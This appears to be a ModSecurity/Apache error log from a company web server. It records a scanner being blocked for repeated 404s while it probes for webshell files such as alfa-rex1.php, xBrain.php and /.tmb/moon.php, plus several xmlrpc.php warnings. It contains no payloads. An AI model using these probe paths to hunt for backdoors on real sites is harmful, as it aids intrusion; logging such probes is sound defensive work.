[Mon Apr 13 03:12:59.737588 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:24178] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aks.php"] [unique_id "advuu2yJMmaONUqF0tCsGAAAAQk"]
[Mon Apr 13 03:13:00.180014 2026] [:error] [pid 32010:tid 32027] [client 20.151.218.28:24287] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aks.php"] [unique_id "advuvA0nq-t9pXyV1fy_AgAAAM8"]
[Mon Apr 13 03:13:00.590177 2026] [:error] [pid 31607:tid 31745] [client 20.151.218.28:24373] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aks.php"] [unique_id "advuvGjn_I-KYTWngjJOcAAAAIg"]
[Mon Apr 13 03:13:01.035035 2026] [:error] [pid 32010:tid 32012] [client 20.151.218.28:24347] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aks.php"] [unique_id "advuvQ0nq-t9pXyV1fy_BgAAAMA"]
[Mon Apr 13 03:13:01.466771 2026] [:error] [pid 31607:tid 31755] [client 20.151.218.28:24340] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pomo/l.php"] [unique_id "advuvWjn_I-KYTWngjJOcwAAAJI"]
[Mon Apr 13 03:13:01.880786 2026] [:error] [pid 32010:tid 32034] [client 20.151.218.28:24240] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pomo/l.php"] [unique_id "advuvQ0nq-t9pXyV1fy_CAAAANY"]
[Mon Apr 13 03:13:02.290480 2026] [:error] [pid 32010:tid 32036] [client 20.151.218.28:24521] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pomo/l.php"] [unique_id "advuvg0nq-t9pXyV1fy_CgAAANg"]
[Mon Apr 13 03:13:02.702592 2026] [:error] [pid 32010:tid 32033] [client 20.151.218.28:24212] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pomo/l.php"] [unique_id "advuvg0nq-t9pXyV1fy_DAAAANU"]
[Mon Apr 13 03:13:03.137059 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:24265] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ase.php"] [unique_id "advuv2yJMmaONUqF0tCsIwAAAQk"]
[Mon Apr 13 03:13:03.560079 2026] [:error] [pid 32010:tid 32027] [client 20.151.218.28:24379] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ase.php"] [unique_id "advuvw0nq-t9pXyV1fy_DwAAAM8"]
[Mon Apr 13 03:13:03.975897 2026] [:error] [pid 32010:tid 32030] [client 20.151.218.28:24261] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ase.php"] [unique_id "advuvw0nq-t9pXyV1fy_EgAAANI"]
[Mon Apr 13 03:13:04.391569 2026] [:error] [pid 54671:tid 54694] [client 20.151.218.28:24196] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ase.php"] [unique_id "advuwGyJMmaONUqF0tCsJwAAARM"]
[Mon Apr 13 03:13:04.817012 2026] [:error] [pid 32010:tid 32028] [client 20.151.218.28:24365] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ktgob.php"] [unique_id "advuwA0nq-t9pXyV1fy_GQAAANA"]
[Mon Apr 13 03:13:05.227187 2026] [:error] [pid 31607:tid 31760] [client 20.151.218.28:24209] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ktgob.php"] [unique_id "advuwWjn_I-KYTWngjJOeAAAAJc"]
[Mon Apr 13 03:13:05.642039 2026] [:error] [pid 54671:tid 54676] [client 20.151.218.28:24257] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ktgob.php"] [unique_id "advuwWyJMmaONUqF0tCsKQAAAQE"]
[Mon Apr 13 03:13:06.066107 2026] [:error] [pid 54671:tid 54688] [client 20.151.218.28:24256] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ktgob.php"] [unique_id "advuwmyJMmaONUqF0tCsLQAAAQ0"]
[Mon Apr 13 03:13:06.520559 2026] [:error] [pid 31605:tid 31652] [client 20.151.218.28:24213] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "advuwm9Py-Y-9VQ02eHfUAAAAAk"]
[Mon Apr 13 03:13:06.977187 2026] [:error] [pid 31606:tid 31718] [client 20.151.218.28:24381] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "advuwj9vCsshNhLmCiCOiAAAAEw"]
[Mon Apr 13 03:13:07.391834 2026] [:error] [pid 32010:tid 32035] [client 20.151.218.28:24205] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "advuww0nq-t9pXyV1fy_HQAAANc"]
[Mon Apr 13 03:13:07.808454 2026] [:error] [pid 54671:tid 54694] [client 20.151.218.28:24278] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "advuw2yJMmaONUqF0tCsNAAAARM"]
[Mon Apr 13 03:13:08.229691 2026] [:error] [pid 54671:tid 54677] [client 20.151.218.28:24315] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/afile.php"] [unique_id "advuxGyJMmaONUqF0tCsNgAAAQI"]
[Mon Apr 13 03:13:08.654407 2026] [:error] [pid 31605:tid 31662] [client 20.151.218.28:24359] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/afile.php"] [unique_id "advuxG9Py-Y-9VQ02eHfVgAAABM"]
[Mon Apr 13 03:13:09.066085 2026] [:error] [pid 32010:tid 32034] [client 20.151.218.28:24349] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/afile.php"] [unique_id "advuxQ0nq-t9pXyV1fy_IgAAANY"]
[Mon Apr 13 03:13:09.494226 2026] [:error] [pid 31605:tid 31648] [client 20.151.218.28:24248] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/afile.php"] [unique_id "advuxW9Py-Y-9VQ02eHfWAAAAAU"]
[Mon Apr 13 03:13:09.919139 2026] [:error] [pid 32010:tid 32016] [client 20.151.218.28:24270] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xBrain.php"] [unique_id "advuxQ0nq-t9pXyV1fy_IwAAAMQ"]
[Mon Apr 13 03:13:10.334068 2026] [:error] [pid 54671:tid 54691] [client 20.151.218.28:24253] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xBrain.php"] [unique_id "advuxmyJMmaONUqF0tCsQQAAARA"]
[Mon Apr 13 03:13:10.749091 2026] [:error] [pid 32010:tid 32028] [client 20.151.218.28:24198] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xBrain.php"] [unique_id "advuxg0nq-t9pXyV1fy_KAAAANA"]
[Mon Apr 13 03:13:11.160310 2026] [:error] [pid 54671:tid 54696] [client 20.151.218.28:24377] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xBrain.php"] [unique_id "advux2yJMmaONUqF0tCsRAAAARU"]
[Mon Apr 13 03:13:11.580820 2026] [:error] [pid 32010:tid 32025] [client 20.151.218.28:24437] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yunu.php"] [unique_id "advuxw0nq-t9pXyV1fy_KgAAAM0"]
[Mon Apr 13 03:13:11.994567 2026] [:error] [pid 32010:tid 32016] [client 20.151.218.28:24358] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yunu.php"] [unique_id "advuxw0nq-t9pXyV1fy_LAAAAMQ"]
[Mon Apr 13 03:13:12.451522 2026] [:error] [pid 32010:tid 32018] [client 20.151.218.28:24309] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yunu.php"] [unique_id "advuyA0nq-t9pXyV1fy_MAAAAMY"]
[Mon Apr 13 03:13:12.877332 2026] [:error] [pid 54671:tid 54691] [client 20.151.218.28:24225] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yunu.php"] [unique_id "advuyGyJMmaONUqF0tCsSQAAARA"]
[Mon Apr 13 03:13:13.293068 2026] [:error] [pid 54671:tid 54696] [client 20.151.218.28:24263] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lexy.php"] [unique_id "advuyWyJMmaONUqF0tCsTQAAARU"]
[Mon Apr 13 03:13:13.701504 2026] [:error] [pid 32010:tid 32029] [client 20.151.218.28:24224] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lexy.php"] [unique_id "advuyQ0nq-t9pXyV1fy_NQAAANE"]
[Mon Apr 13 03:13:14.109769 2026] [:error] [pid 54671:tid 54690] [client 20.151.218.28:24302] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lexy.php"] [unique_id "advuymyJMmaONUqF0tCsUQAAAQ8"]
[Mon Apr 13 03:13:14.521400 2026] [:error] [pid 32010:tid 32023] [client 20.151.218.28:24249] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lexy.php"] [unique_id "advuyg0nq-t9pXyV1fy_OQAAAMs"]
[Mon Apr 13 03:13:42.577888 2026] [:error] [pid 32010:tid 32036] [client 85.128.143.123:56972] [client 85.128.143.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advu5g0nq-t9pXyV1fy_awAAANg"]
[Mon Apr 13 03:15:41.909408 2026] [:error] [pid 31605:tid 31655] [client 100.52.25.12:32804] [client 100.52.25.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 100.52.25.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "advvXW9Py-Y-9VQ02eHgNAAAAAw"]
[Mon Apr 13 03:20:16.932053 2026] [:error] [pid 31605:tid 31660] [client 20.151.218.28:31722] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa-rex1.php"] [unique_id "advwcG9Py-Y-9VQ02eHh6gAAABE"]
[Mon Apr 13 03:20:17.347396 2026] [:error] [pid 32010:tid 32034] [client 20.151.218.28:31621] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa-rex1.php"] [unique_id "advwcQ0nq-t9pXyV1fzCVgAAANY"]
[Mon Apr 13 03:20:17.760406 2026] [:error] [pid 32010:tid 32024] [client 20.151.218.28:31716] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa-rex1.php"] [unique_id "advwcQ0nq-t9pXyV1fzCWwAAAMw"]
[Mon Apr 13 03:20:18.173099 2026] [:error] [pid 54671:tid 54678] [client 20.151.218.28:31622] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa-rex1.php"] [unique_id "advwcmyJMmaONUqF0tCxOQAAAQM"]
[Mon Apr 13 03:20:18.592645 2026] [:error] [pid 54671:tid 54699] [client 20.151.218.28:31633] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/suck.php"] [unique_id "advwcmyJMmaONUqF0tCxOwAAARg"]
[Mon Apr 13 03:20:19.005091 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:31684] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/suck.php"] [unique_id "advwc2yJMmaONUqF0tCxPwAAAQc"]
[Mon Apr 13 03:20:19.433959 2026] [:error] [pid 54671:tid 54675] [client 20.151.218.28:31719] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/suck.php"] [unique_id "advwc2yJMmaONUqF0tCxQwAAAQA"]
[Mon Apr 13 03:20:19.843891 2026] [:error] [pid 31606:tid 31720] [client 20.151.218.28:31709] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/suck.php"] [unique_id "advwcz9vCsshNhLmCiCQPAAAAE4"]
[Mon Apr 13 03:20:20.258109 2026] [:error] [pid 54671:tid 54693] [client 20.151.218.28:31726] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hikudpno.php"] [unique_id "advwdGyJMmaONUqF0tCxSgAAARI"]
[Mon Apr 13 03:20:20.670908 2026] [:error] [pid 32010:tid 32035] [client 20.151.218.28:31682] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hikudpno.php"] [unique_id "advwdA0nq-t9pXyV1fzCXwAAANc"]
[Mon Apr 13 03:20:21.080639 2026] [:error] [pid 31607:tid 31752] [client 20.151.218.28:31697] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hikudpno.php"] [unique_id "advwdWjn_I-KYTWngjJQaAAAAI8"]
[Mon Apr 13 03:20:21.510977 2026] [:error] [pid 31607:tid 31739] [client 20.151.218.28:31620] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hikudpno.php"] [unique_id "advwdWjn_I-KYTWngjJQagAAAII"]
[Mon Apr 13 03:20:21.925789 2026] [:error] [pid 31607:tid 31757] [client 20.151.218.28:31626] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/moon.php"] [unique_id "advwdWjn_I-KYTWngjJQbQAAAJQ"]
[Mon Apr 13 03:20:22.337349 2026] [:error] [pid 31607:tid 31759] [client 20.151.218.28:31686] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/moon.php"] [unique_id "advwdmjn_I-KYTWngjJQcQAAAJY"]
[Mon Apr 13 03:20:22.749810 2026] [:error] [pid 32010:tid 32031] [client 20.151.218.28:31634] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/moon.php"] [unique_id "advwdg0nq-t9pXyV1fzCZgAAANM"]
[Mon Apr 13 03:20:23.163447 2026] [:error] [pid 32010:tid 32019] [client 20.151.218.28:31655] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/moon.php"] [unique_id "advwdw0nq-t9pXyV1fzCaAAAAMc"]
[Mon Apr 13 03:20:23.586913 2026] [:error] [pid 31607:tid 31744] [client 20.151.218.28:31636] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sure.php"] [unique_id "advwd2jn_I-KYTWngjJQdwAAAIc"]
[Mon Apr 13 03:20:23.997039 2026] [:error] [pid 32010:tid 32021] [client 20.151.218.28:31683] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sure.php"] [unique_id "advwdw0nq-t9pXyV1fzCawAAAMk"]
